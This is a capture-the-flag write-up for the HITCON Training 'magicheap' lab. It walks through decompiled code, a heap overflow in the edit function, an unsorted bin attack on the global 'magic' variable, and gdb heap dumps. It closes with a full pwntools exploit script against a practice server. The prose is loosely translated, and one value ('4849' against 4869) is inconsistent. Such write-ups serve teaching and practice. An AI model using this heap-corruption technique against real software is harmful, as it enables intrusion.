HITCON Training lab14 magic heap heap skills unsroted bin attack

Routine inspection

Reverse analysis

--------------------------------
       Magic Heap Creator       
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Delete a Heap               
 4. Exit                        
--------------------------------
Your choice :

create_heap function

unsigned __int64 create_heap()
{
  signed int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:", &buf);
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
  • heaparray array: the first address chunk of storage.
  • read_input function: the contents of the input we write the chunk.

edit function

int edit_heap()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  size_t v2; // [rsp+8h] [rbp-8h]

  printf("Index :");
  read(0, &v1 + 4, 4uLL);
  LODWORD(v1) = atoi(&v1 + 4);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  printf("Size of Heap : ", &v1 + 4, v1);
  read(0, &v1 + 4, 8uLL);
  v2 = atoi(&v1 + 4);
  printf("Content of heap : ", &v1 + 4, v1);
  read_input(heaparray[v1], v2);
  return puts("Done !");
}

  You can edit the content chunk again, and you can select the input size. If the size is larger than this time we enter when you create, it would cause a heap overflow

delete function

int delete_heap()
{
  int v1; // [rsp+8h] [rbp-8h]
  char buf; // [rsp+Ch] [rbp-4h]

  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  free(heaparray[v1]);
  heaparray[v1] = 0LL;
  return puts("Done !");
}

  Release the corresponding index of the chunk, and the corresponding array heaparray address set to zero.

main function

    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          get_flag();
        }
      }

  magic is in the global variable bss section, if we can control the magic v3 4849 and overrides its value greater than 0x1305, will be able to get flag.

the whole idea

Use process

create_heap(0x20, "dada")  # 0
create_heap(0x80, "dada")  # 1
# in order not to merge into top chunk
create_heap(0x20, "dada")  # 2

del_heap(1)

magic = 0x6020a0
fd = 0
bk = magic - 0x10

edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))

  First create three chunk, chunk 2 is to prevent the free chunk 1 chunk 1 when combined with the top chunk, and then we free fall chunk 1, chunk 1 size larger than global_max_fast, so after the free fall will enter the unsorted bin. Then we overflow override chunk bk pointer by 1 chunk 0, this case is as follows heap

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x2502000           0x0                 0x30                 Used                None              None    chunk 0
0x2502030           0x0                 0x90                 Freed                0x0          0x602090    chunk 1  
gdb-peda$ x /12xg 0x2502000
0x2502000:  0x0000000000000000  0x0000000000000031    chunk 0
0x2502010:  0x6161616161616161  0x6161616161616161
0x2502020:  0x6161616161616161  0x6161616161616161    
0x2502030:  0x0000000000000000  0x0000000000000091    chunk 1
0x2502040:  0x0000000000000000  0x0000000000602090    bk
0x2502050:  0x0000000000000000  0x0000000000000000

  Can be found, we have successfully put bk pointer overwrite chunk 1 is magic - 0x10

create(0x80,'aaaa')

  Then we create again with one of the same size chunk chunk, chunk 1 is free off will be removed from the unsorted bin, made from chain operations

unsorted_chunks(av)->bk = bck = victim->bk = magic - 0x10;
bck->fd  = *(magic - 0x10 + 0x10) = unsorted_chunks(av);

  That is, we write a value of greater than 0x1305 (unsorted bin list head address) to magic, then we again malloc and unsorted bin of the same size block you can successfully get into the get_flag shell.

拿 shell get flag

exp script

from pwn_debug import *

pdbg = pwn_debug('magicheap')
pdbg.remote('node3.buuoj.cn',29077)
pdbg.local()
r = pdbg.run('remote')

def create(size,content):
    r.recvuntil(':')
    r.sendline('1')
    r.recvuntil(':')
    r.sendline(str(size))
    r.recvuntil(':')
    r.sendline(content)

def edit(idx,size,content):
    r.recvuntil(':')
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(idx))
    r.recvuntil(':')
    r.sendline(str(size))
    r.recvuntil(':')
    r.sendline(content)

def delete(idx):
    r.recvuntil(':')
    r.sendline('3')
    r.recvuntil(':')
    r.sendline(str(idx))

create(0x20,'aaaa')
create(0x80,'bbbb')
create(0x20,'cccc')

#gdb.attach(r)

delete(1)

#gdb.attach(r)

magic = 0x6020a0
fd = 0
bk = magic -0x10

edit(0,0x40,'a' * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)) 

#gdb.attach(r)

create(0x80,'aaaa')
r.recvuntil(":")
r.sendline('4869')

r.interactive()

Content Sources

ctf-wiki-unsorted bin attack

Guess you like

Origin www.cnblogs.com/luoleqi/p/12361438.html